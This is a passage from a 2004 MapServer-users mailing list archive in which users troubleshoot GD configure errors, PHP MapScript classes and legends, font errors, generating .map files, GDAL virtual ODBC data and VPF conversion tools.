from -L/lib -lz > configure: checking where PNG is installed...... > checking for png_init_io in -lpng... no > PNG (libpng) library cannot be found, possibly needed for GD > configure: checking where libXpm is installed...... > checking for XpmFreeXpmImage in -lXpm... no > XPM (libXpm) library cannot be found, possibly needed for GD > configure: checking where libiconv is installed...... > checking for libiconv_open in -liconv... no > libiconv library cannot be found, possibly needed for GD > configure: checking for GD 2.0.12 or higher...... > checking for gdImageSetAntiAliased in -lgd... no > configure: error: "Could not find gd.h or libgd.a/libgd.so in /usr/local/. > Make > sure GD 2.0.12 or higher is compiled before calling configure." > > I have tried running "./configure --with-gd=/usr/local", as well as with > /usr/local/lib (the location of the libgd.a file) and /usr/local/include > (the location of the gd.h file). > > I have looked through for duplicates of these files, but cannot find any > others residing on the disk. Have you actually installed the libraries that are being reported as missing ? These are not installed in the 'default' Cygwin install and non default packages need to be explicitly requested in the Cygwin setup program. Also note that if you want GDAL or Proj4 support you will have to compile them yourself. If you have problems when compiling either best to ask for help on the repsective maili list Although I use a Cygwin compiled mapserver I have to ask are you sure that you wouldn't find it easier using the native Win32 version for which a binary package is available for download. HTH Norman From sgd at tfm.com Wed May 26 12:26:44 2004 From: sgd at tfm.com (Stephen Diercouff) Date: Wed, 26 May 2004 12:26:44 -0700 Subject: [Mapserver-users] Configure: Same old error - can't find gd.h or libgd.a/libgd.so In-Reply-To: Your message of "Wed, 26 May 2004 11:33:03 PDT." Message-ID: <200405261926.i4QJQi5P053500@mailhost.tfm.com> > You will need gd and gd-devel packages - got those already? > In case you are not aware, you do not need to use cygwin to run mapserver > on windows. Unless you have a particular reason for doing so, I would > suggest that it is a waste of time when windows binaries are readily > available for download and almost immediate use. Hi. I'm new to this list, and subscribed at this time specifically because of the same issue. The original poster stated that gd.h and libgd.a were installed already. This looks like an autoconf problem to me. Configure bombs in the exact same place on FreeBSD 5.1. I've not spent much time on it other than running autoconf in case the distributed configure script was broken. This is with mapserver-4.0.2. If anyone knows a quick fix I'd love to hear it. Otherwise I'll bang on it myself when I get the time. BTW, nm tells me that gdImageSetAntiAliased IS defined in libgd.a (I installed gd-2.0.23). --Stephen > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 10:46:47 AM: > > > Hi All, > > > > I've looked through the archives and the FAQ and tried the solutions > > presented, but to no avail. > > > > I am trying to install Mapserver 4.0.2 on Cygwin (running under Windows > > 2000). > > > > Please let me know if there is anything else I should be trying to do - > I'm > > running out of hair to tear out of my head. > > > > Here is the output from configure.sh when run: > > > > ... Everything running fine above here ... > > > > checking for strcasecmp... yes > > checking for strncasecmp... yes > > checking for strdup... yes > > configure: checking whether we should include JPEG support...... > > checking for jpeg_read_header in -ljpeg... no > > libjpeg not found. JPEG support not included, possibly needed > for > > GD. > > configure: checking where FreeType 2.x is installed...... > > using libfreetype from -lfreetype -lz > > checking for FT_Init_FreeType in -lfreetype... no > > using libfreetype -lfreetype -lz from system libs. > > configure: checking where Zlib is installed...... > > using libz from -L/lib -lz > > configure: checking where PNG is installed...... > > checking for png_init_io in -lpng... no > > PNG (libpng) library cannot be found, possibly needed for GD > > configure: checking where libXpm is installed...... > > checking for XpmFreeXpmImage in -lXpm... no > > XPM (libXpm) library cannot be found, possibly needed for GD > > configure: checking where libiconv is installed...... > > checking for libiconv_open in -liconv... no > > libiconv library cannot be found, possibly needed for GD > > configure: checking for GD 2.0.12 or higher...... > > checking for gdImageSetAntiAliased in -lgd... no > > configure: error: "Could not find gd.h or libgd.a/libgd.so in > /usr/local/. > > Make > > sure GD 2.0.12 or higher is compiled before calling configure." > > > > I have tried running "./configure --with-gd=/usr/local", as well as with > > > /usr/local/lib (the location of the libgd.a file) and /usr/local/include > > > (the location of the gd.h file). > > > > I have looked through for duplicates of these files, but cannot find any > > > others residing on the disk. > > > > --Adam > > > > _________________________________________________________________ > > STOP MORE SPAM with the new MSN 8 and get 2 months FREE* > > http://join.msn.com/?page=features/junkmail > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jnielsen at aero-graphics.com Wed May 26 12:44:11 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Wed, 26 May 2004 13:44:11 -0600 Subject: [Mapserver-users] Convert data from Projected to Modified system... Message-ID: <1085600651.40b4f38bab642@www.agi-lan.com> Bear with me since I am by no means a GIS person or the like. We have data in a known projected system (ie: stateplane, think thats right) and we need to transform it to a cartesian system (modified?). I know the x/y offsets, scaling and rotation to go from the old to the new system. The data is in a TIFF format and I was hoping to be able to use gdal or mapserver to reproject it and dump out a new file in which only the coordinates have changed and the shape of the TIFF etc accordingly. I presume via gdal I can specify something like "+k=1.000202 +x_0=-1398448.885932 ..." and so on. I am not sure this is possible but if I am on the right track I am unsure precisely how to apply the known transformation parameters via this method and was hoping someone might be able to point me onto some documentation or examples as to how this can be done. Thanks. From eduardo at consultoria.eti.br Wed May 26 13:50:29 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 26 May 2004 17:50:29 -0300 Subject: [Mapserver-users] dinamic class using a MapScript loop. Message-ID: <20040526205029.11742.qmail@hm47.locaweb.com.br> I'm setting a set of classes of a given layer using definitions from a database table. so, I make a while-loop against a recordset and for each recordset I create a new class object using PHP variable-variables. the code I made is: ---------- while (!$vwCommPlaceTypes->EOF){ $stClass = "hTmpClass".$vwCommPlaceTypes->fields["tip_codigo"];//define the class var name $$stClass = ms_newClassObj($hTmpLayer);// htmpLayer is my layer $$stClass->set("name",$vwCommPlaceTypes->fields["tip_descricao"]); $$stClass->setexpression(trim($vwCommPlaceTypes->fields["tip_codigo"])); $stStyle = "hTmpStyle".$vwCommPlaceTypes->fields["tip_codigo"];//define the style var name $$stStyle = ms_newStyleObj($$stClass); $$stStyle->set("minsize",5); $$stStyle->set("maxsize",10); $$stStyle->set("size",10); $$stStyle->set("symbolname",$vwCommPlaceTypes->fields["tip_symname"]); $stColor = "hTmpColor".$vwCommPlaceTypes->fields["tip_codigo"];//define the color var name $$stColor = $$stStyle->color; $aColors = explode(" ", $vwCommPlaceTypes->fields["tip_symcolor"]); $$stColor->setRGB((int)$aColors[0], (int)$aColors[1], (int)$aColors[2]); $vwCommPlaceTypes->MoveNext(); } and, suposing I have 2 reccords, as result I got: ======== ... CLASS NAME "Bar" EXPRESSION "13" STYLE COLOR 92 192 252 MAXSIZE 10 MINSIZE 5 SIZE 10 SYMBOL "SYM_BAR" END END CLASS NAME "Farm?cia" EXPRESSION "07" STYLE COLOR 64 23 0 MAXSIZE 10 MINSIZE 5 SIZE 10 SYMBOL "SYM_FARMACIA" END END ... ======== and it's ok. But, my question is: if I try to run a code like.... while (!$vwCommPlaceTypes->EOF){ $tmpClass = ms_newClassObj($hTmpLayer);// htmpLayer is my layer $tmpClass->set("name",$vwCommPlaceTypes->fields["tip_descricao"]); $tmpClass->setexpression(trim($vwCommPlaceTypes->fields["tip_codigo"])); $tmpStyle = ms_newStyleObj($tmpClass); $tmpStyle->set("minsize",5); $tmpStyle->set("maxsize",10); $tmpStyle->set("size",10); $tmpStyle->set("symbolname",$vwCommPlaceTypes->fields["tip_symname"]); $tmpColor = $tmpStyle->color; $aColors = explode(" ", $vwCommPlaceTypes->fields["tip_symcolor"]); $tmpColor->setRGB((int)$aColors[0], (int)$aColors[1], (int)$aColors[2]); $vwCommPlaceTypes->MoveNext(); } will it work? or it will set only 1 class? thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From eduardo at consultoria.eti.br Wed May 26 14:27:57 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 26 May 2004 18:27:57 -0300 Subject: [Mapserver-users] multiple symbols in the same class Message-ID: <20040526212757.13125.qmail@hm47.locaweb.com.br> is there a way to define 2 symbologies for the same class, of the same layer, inside a CGI mapserver application without creation two layers with the same name? I mean, I wanna use a vector SYMBOL from the scale 1:250000 to 1:10000 and from 1:9999 to 1:1000 I want to use a PIXMAP symbol. thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From jvanulde at nrcan.gc.ca Wed May 26 14:42:00 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Wed, 26 May 2004 17:42:00 -0400 Subject: [Mapserver-users] Create a legend using PHPMapscript Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B8974A@s5-van1-r1.ess.nrcan.gc.ca> You can use legend templates or code your own. Here is a function that will do it for you (excuse the formating!): // draw the legend function drawLegend($layerArray) { GLOBAL $map; // get the list of layers $aLayerList = $map->getAllLayerNames(); $aLayerList = array_reverse($aLayerList); $aSentLayers = explode(",",$layerArray); //loop through layers foreach($aLayerList As $sName) { $currentLayer = $map->getLayerByName($sName); // check if layer is passed and if it was set the status to on if ($currentLayer->status != 2) { foreach($aSentLayers As $testName){ if($sName == $testName) { $currentLayer->set(status, 1); } else { $currentLayer->set(status, 0); } } } $currentName = $sName; $currentTitle = $currentLayer->getMetaData("WMS_TITLE"); $currentStatus = $currentLayer->status; $checked = ""; // set the checked status of layer if ($currentStatus == 1) { $checked = ''; } elseif ($currentStatus == 0){ $checked = ''; } // write out the title echo '
 '.$checked.$currentTitle.'
'.$className.'
Hi, folks:
 
 
I'm developing a web mapping application of Quito streets, but I cou= ldn't make the streets' names (labels) show with the correct angle. I'm g= etting this message in server's log file:
 
[Tue May 25 12:53:29 2004] [error] [client 127.0.0.1] PHP Warning:&n= bsp; [MapServer Error]: msGetLabelSize(): Could not find/open font, refer= er: http://mysever/qui= to/php/QuitoMain.php
 
Here's my layer config:
...
FONTSET "D:/Archivos de programa/Apache Group/Apache2/htdocs/quito/f= onts/fonts.list"
...
LAYER
    NAME "CALLES"
    GROU= P "Ciudad"
    STATUS ON
    DATA "CA= LLES_84_3_text"
    TYPE ANNOTATION
 MINSCALE 1= 000
    MAXSCALE 150000
    #CLASSITE= M "Textstring"
   LABELITEM "Textstring"
 LABELANGLE= ITEM "Text_angle"
 LABELSIZEITEM "Text_size"
 
    CLASS
      LABEL
 = ;      COLOR 132 31 31
   &nbs= p;    SHADOWCOLOR 218 218 218
    &= nbsp;   SHADOWSIZE 2 2
   TYPE truetype
&n= bsp;  FONT arial
   SIZE 14
  &n= bsp;     ANTIALIAS TRUE
    &n= bsp;   #POSITION CL
      &nbs= p; #PARTIALS FALSE
         #MINDIS= TANCE 300
         # BUFFER 4
&n= bsp;      END # end of label
 
    END #end of class
END #end of layer
 
Could someone help me?
I appreciate any help...
 
 
Marcelo Ismael Carrillo Est=E9vez
BAYTEQ C=EDa. Ltda.
09-8145939
 
There are 10 kind of pe= ople, those who understand binaries and those who don`t!!
 
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_H2QDBHK0000000000000-- --------------Boundary-00=_H2QDG6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_H2QDG6G0000000000000-- From zak-ms at hoppsan.org Thu May 27 08:38:02 2004 From: zak-ms at hoppsan.org (Zak James) Date: Thu, 27 May 2004 11:38:02 -0400 Subject: [Mapserver-users] virtual spatial data In-Reply-To: References: Message-ID: On May 27, 2004, at 11:10 AM, Chip Hankley wrote: > > With respect to MS version, is there anyway to figure out which version > of GDAL the exe was compiled with? > Try dependency walker (http://www.dependencywalker.com/) - it should tell you the versions of any components used by the mapserver executable. We're actively working on this problem and will forward anything we discover to the list. Can you confirm that you are able to get back your data via the virtual driver (using an ovf file) from the command line? This is different from using ogrinfo with the odbc driver directly. i.e. not ogrinfo odbc: but ogrinfo -ro config.ovf I apologize if I'm asking you to repeat yourself! zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca From TMitchell at lignum.com Thu May 27 09:03:13 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 27 May 2004 09:03:13 -0700 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB076F79@ptolemy.topozone.com> Message-ID: Sounds interesting Ed, I'd love to see an example of your methodology. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 06:57:35 PM: > Sharyn - > > For several years now I've been using the C preprocessor to take > "template" MAP files and do #includes, macro expansion, etc. It's > pretty convenient if you need to either generate lots of MAP files or > lots of layers in a MAP file. We've got around 150+ MAP files, around > 60 or 70 layers, and nearly 350,000 source data files, and it is a good > way to keep things organized. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Namnath, > Sharyn > Sent: Wednesday, May 26, 2004 5:55 PM > To: 'mapserver-users at lists.gis.umn.edu' > Subject: [Mapserver-users] How does one create .map files? > > Ok, I am so green at this I practically qualify as plant life... I got > through a few good tutorials and didn't die.. but now I am going to try > to use my own (well, ok, ESRI's) shapefiles and data. But how does one > go about creating .map files? By hand? Is there a utility? Also, I > just got some NIMA files which is part of the actual data that I'll be > using. There are also ADRG, CADRG, CIB, & DTED files that I will have > to contend with. Are there utilities out there for an easy conversion > to shapefiles? I will be receiving 3.5 Terabytes worth of data. I > would hate to have to create each .map file by hand... > > > > Thanks in advance for any help anyone can offer. > > > > - sharyn > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From NamnatSR at NV.DOE.GOV Thu May 27 09:32:34 2004 From: NamnatSR at NV.DOE.GOV (Namnath, Sharyn) Date: Thu, 27 May 2004 09:32:34 -0700 Subject: [Mapserver-users] How does one create .map files? Message-ID: <89E34224EAFDD411B6AD0002A529187F207522@stl-exchpo1-nt.nv.doe.gov> Thanks to everyone who offered (and is still offering) suggestions. I will certainly look into all of them. I know I'm not completely enamored with the idea of creating a map file for every map I'm going to need, but if I have to then so be it. I too am interested in your method Ed. If you care to share, I bet a lot more of us are interested. - Sharyn -----Original Message----- From: Tyler Mitchell [mailto:TMitchell at lignum.com] Sent: Thursday, May 27, 2004 8:03 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How does one create .map files? Sounds interesting Ed, I'd love to see an example of your methodology. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 06:57:35 PM: > Sharyn - > > For several years now I've been using the C preprocessor to take > "template" MAP files and do #includes, macro expansion, etc. It's > pretty convenient if you need to either generate lots of MAP files or > lots of layers in a MAP file. We've got around 150+ MAP files, around > 60 or 70 layers, and nearly 350,000 source data files, and it is a good > way to keep things organized. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com From avartabedian at webservices.com.uy Thu May 27 10:32:31 2004 From: avartabedian at webservices.com.uy (Alejandro Vartabedian) Date: Thu, 27 May 2004 14:32:31 -0300 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <89E34224EAFDD411B6AD0002A529187F207522@stl-exchpo1-nt.nv.doe.gov> References: <89E34224EAFDD411B6AD0002A529187F207522@stl-exchpo1-nt.nv.doe.gov> Message-ID: <40B6262F.9040701@webservices.com.uy> well, based on Ed theory, i think some php Smarty templates and phpmapscript can do the job well and easy. i'll try this and post some news. good luck. Namnath, Sharyn wrote: > Thanks to everyone who offered (and is still offering) suggestions. I will > certainly look into all of them. I know I'm not completely enamored with > the idea of creating a map file for every map I'm going to need, but if I > have to then so be it. I too am interested in your method Ed. If you care > to share, I bet a lot more of us are interested. > > - Sharyn > > > -----Original Message----- > From: Tyler Mitchell [mailto:TMitchell at lignum.com] > Sent: Thursday, May 27, 2004 8:03 AM > To: Ed McNierney > Cc: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] How does one create .map files? > > Sounds interesting Ed, I'd love to see an example of your methodology. > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 06:57:35 PM: > > >>Sharyn - >> >>For several years now I've been using the C preprocessor to take >>"template" MAP files and do #includes, macro expansion, etc. It's >>pretty convenient if you need to either generate lots of MAP files or >>lots of layers in a MAP file. We've got around 150+ MAP files, around >>60 or 70 layers, and nearly 350,000 source data files, and it is a good >>way to keep things organized. >> >> - Ed >> >>Ed McNierney >>President and Chief Mapmaker >>TopoZone.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mike.merrett at city.whitehorse.yk.ca Thu May 27 10:59:49 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Thu, 27 May 2004 10:59:49 -0700 Subject: [Mapserver-users] How does one create .map files? Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEEDA@DUKE.city.whitehorse.yk.ca> here is part of some code I am developing for user selection and then building of map files: (not all the code is here - and each database entry Details column contains a complete Layers section (which I copy/paste into the DB after verifying it works) then I call the processing script (mostly gmap75) with the name of the map file. Hope this helps, Mike Merrett function do_build_map_file() { // get a random non existing file name for the map file do { $tmpfname = "tmp/TMPMAP". trim(strval( mt_rand( 1, (2^14) * mt_rand(1,(2^15)) ))) .".map"; } while ( ! file_exists( $tmpfname)); $handle = fopen($tmpfname, "w"); map_put_headers( $handle ); // put the headers (i.e. everything above the layers in a normal map file //layers are selected -- now build the map file $link = dbx_connect (DBX_MYSQL, "localhost", "mysql", "MapServer_Layers", "MapServer_Layers") or die ("could not connect"); foreach( $_POST['layers'] as $a_Layer ) { $sql = "select Details" ." from MapServer_Layers " ." where LayerName = '" . $a_Layer ."'" ; $result = dbx_query($link, $sql, DBX_RESULT_INDEX | DBX_RESULT_INFO ); fwrite( $handle, $result->data[0][0]); fwrite( $handle, "\n\n"); } fwrite($handle, "\n\nEND"); fclose($handle); return ($tmpfname); } -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Alejandro Vartabedian Sent: May 27, 2004 10:33 AM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] How does one create .map files? well, based on Ed theory, i think some php Smarty templates and phpmapscript can do the job well and easy. i'll try this and post some news. good luck. Namnath, Sharyn wrote: > Thanks to everyone who offered (and is still offering) suggestions. I will > certainly look into all of them. I know I'm not completely enamored with > the idea of creating a map file for every map I'm going to need, but if I > have to then so be it. I too am interested in your method Ed. If you care > to share, I bet a lot more of us are interested. > > - Sharyn > > > -----Original Message----- > From: Tyler Mitchell [mailto:TMitchell at lignum.com] > Sent: Thursday, May 27, 2004 8:03 AM > To: Ed McNierney > Cc: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] How does one create .map files? > > Sounds interesting Ed, I'd love to see an example of your methodology. > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 06:57:35 PM: > > >>Sharyn - >> >>For several years now I've been using the C preprocessor to take >>"template" MAP files and do #includes, macro expansion, etc. It's >>pretty convenient if you need to either generate lots of MAP files or >>lots of layers in a MAP file. We've got around 150+ MAP files, around >>60 or 70 layers, and nearly 350,000 source data files, and it is a good >>way to keep things organized. >> >> - Ed >> >>Ed McNierney >>President and Chief Mapmaker >>TopoZone.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Thu May 27 11:46:13 2004 From: ed at topozone.com (Ed McNierney) Date: Thu, 27 May 2004 14:46:13 -0400 Subject: [Mapserver-users] How does one create .map files? Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB076F8B@ptolemy.topozone.com> Sharyn - I DID share . There's not much more to say. Simply create your MAP files as if you were writing C code, using whatever preprocessor commands (#define, #include, #if, etc.) you like. Then use your favorite C compiler from the command line passing whatever #defines you want to produce the result you want. You want to use the correct command for your compiler so it only runs the preprocessor and doesn't try to compile the result. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Namnath, Sharyn [mailto:NamnatSR at NV.DOE.GOV] Sent: Thursday, May 27, 2004 12:33 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How does one create .map files? Thanks to everyone who offered (and is still offering) suggestions. I will certainly look into all of them. I know I'm not completely enamored with the idea of creating a map file for every map I'm going to need, but if I have to then so be it. I too am interested in your method Ed. If you care to share, I bet a lot more of us are interested. - Sharyn -----Original Message----- From: Tyler Mitchell [mailto:TMitchell at lignum.com] Sent: Thursday, May 27, 2004 8:03 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How does one create .map files? Sounds interesting Ed, I'd love to see an example of your methodology. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 06:57:35 PM: > Sharyn - > > For several years now I've been using the C preprocessor to take > "template" MAP files and do #includes, macro expansion, etc. It's > pretty convenient if you need to either generate lots of MAP files or > lots of layers in a MAP file. We've got around 150+ MAP files, around > 60 or 70 layers, and nearly 350,000 source data files, and it is a > good way to keep things organized. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com From warmerdam at pobox.com Thu May 27 11:51:58 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 27 May 2004 14:51:58 -0400 Subject: [Mapserver-users] GRASS raster support In-Reply-To: <40B59DE1.2020706@greenwoodmap.com> References: <40B59DE1.2020706@greenwoodmap.com> Message-ID: <40B638CE.2010707@pobox.com> Richard Greenwood wrote: > I've run into a glitch displaying GRASS rasters in 4.0.1 and 4.2.0. > Mapserver reports an error that the GRASS raster is not a valid EPPL > file, so I recompiled --without-eppl but still no joy: > > drawEPP(): Image handling error. EPPL7 support is not available. > > How can I avoid drawEPP() and force GDAL to render? Richard, This message generally means that the file wasn't recognised by any of the existing drivers and fell through to the "last chance" drawEPP(). I would suggest there is a problem with the GRASS driver in GDAL not recognising your reference to a GRASS cell layer. Perhaps you should try and diagnose this aspect externally first using gdalinfo. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Chip.Hankley at rmtinc.com Thu May 27 11:52:50 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 27 May 2004 13:52:50 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: > Try dependency walker (http://www.dependencywalker.com/) - it should > tell you the versions... OK. It appears that the mapserv.exe is using GDAL12.DLL. The "File Time Stamp" reported in Dependancy Walker is 5/11/2004, 1:45a. This is the 4.2 beta binary from the mapserver site. I downloaded this a few days ago. > Can you confirm that you are able to get back your data via the virtual > driver (using an ovf file) from the command line? This is different > from using ogrinfo with the odbc driver directly. ogrinfo -ro virtual.ovf ...returns INFO: Open of `virtual.ovf' using driver `VRT' successful. 1: MyLayer (Point) ogrinfo -ro virtual.ovf mylayer ...returns (lots of data) OGRFeature(MyLayer):132 ID (Integer) = 133 MEDIA (String) = WST SURVEYUNIT (String) = SU2 Y (String) = 792861.455961 X (String) = 13238236.349609 POINT (13238236.350 792861.456 0.000) ... Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From jenu_ab at hotmail.com Thu May 27 11:56:58 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Thu, 27 May 2004 13:56:58 -0500 Subject: [Mapserver-users] [mapserver]virtual spatial data Message-ID: hi Zac, *-i tried using the file dsn in win 2003 Small business Server-MS -SQL... It didnt work with originfo *-I checked the mapserver.exe using the dependency walker -------GDAL12.dll Product version version - N/A ----------------------File ver - N/A ---------------------Linker Ver- 6.0 --------------------OS ver - 4.0 -------------------Subsystem ver - 4.0 Other thing u asked to check---- *-ogrinfo -ro config.ovf - gave the output -- VRT successful 1: mylayer *- ogrinfo -ro config.ovf mylayer - gave the same output as with the command- originfo virtual.ovf mylayer hope this might help in figuring out where the problem lies.. thanks jenu _________________________________________________________________ Best Restaurant Giveaway Ever! Vote for your favorites for a chance to win $1 million! http://local.msn.com/special/giveaway.asp From warmerdam at pobox.com Thu May 27 11:58:52 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 27 May 2004 14:58:52 -0400 Subject: [Mapserver-users] Roadmap In-Reply-To: References: Message-ID: <40B63A6C.5090303@pobox.com> Bart van den Eijnden wrote: > Hi list, > > October 2003 there was a start on the Mapserver roadmap on the wiki: > > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?Roadmap41Draft1 > > Is anybody updating this list for 4.3/4.4? Are there planned features > already? Bart, Interesting point. Hopefully we can come out of the MUM with a roadmap to enter into the Wiki for 4.4. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Thu May 27 12:04:50 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 27 May 2004 15:04:50 -0400 Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 w/vpf In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEED5@DUKE.city.whitehorse.yk.ca> References: <3CB96EAEFD928B49AF8978BA92BB65A41DEED5@DUKE.city.whitehorse.yk.ca> Message-ID: <40B63BD2.8000605@pobox.com> Merrett, Mike wrote: > for openev try http://openev.sourceforge.net > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Brian Russo > Sent: May 26, 2004 3:44 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] nimamuse vpf importer OR ogr2ogr for win32 > w/vpf > > > Anyone know where I can get either: > > the original nimamuse vpf importer. > > or (preferably) a binary of ogr2ogr (and its friends) for win32 that has > support for vpf? I've grabbed the latest openev, but it doesn't seem to > have ogr2ogr, and the one copy of gdal I grabbed off vterrain.org > doesn't have vpf support (only shp, tab, tiger). > > All I really want is something that will (batch) convert vmap0/vmap1 to > shp or some other more usable format. I don't care if it involves > getting hands dirty. Bri, The OpenEV_FW series should include OGDI (and hence VPF) support. eg. http://gdal.maptools.org/dl/openev/OpenEV_FW_174.zip I don't know of a source for the nimamuse stuff off hand. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Zamil.Murji at divestco.com Thu May 27 12:34:34 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Thu, 27 May 2004 13:34:34 -0600 Subject: [Mapserver-users] How do I create a georeferenced tiff file... Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF51@DIV-MX02.divestco> Hello list, I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? Thanks for your help, Zamil From zak-ms at hoppsan.org Thu May 27 13:23:22 2004 From: zak-ms at hoppsan.org (Zak James) Date: Thu, 27 May 2004 16:23:22 -0400 Subject: [Mapserver-users] [mapserver]virtual spatial data In-Reply-To: References: Message-ID: Jenu, We were only able to get this to work using a system DSN or a user DSN where the DSN owner had 'Power User' or administrative privileges. Ensure that your DSN is set up properly and try using it from a variety of accounts with different privileges. Were you able to test against the ODBC text driver? Looks like your GDAL library is up to date, so assuming you're using Mapserver 4.2 I'm not 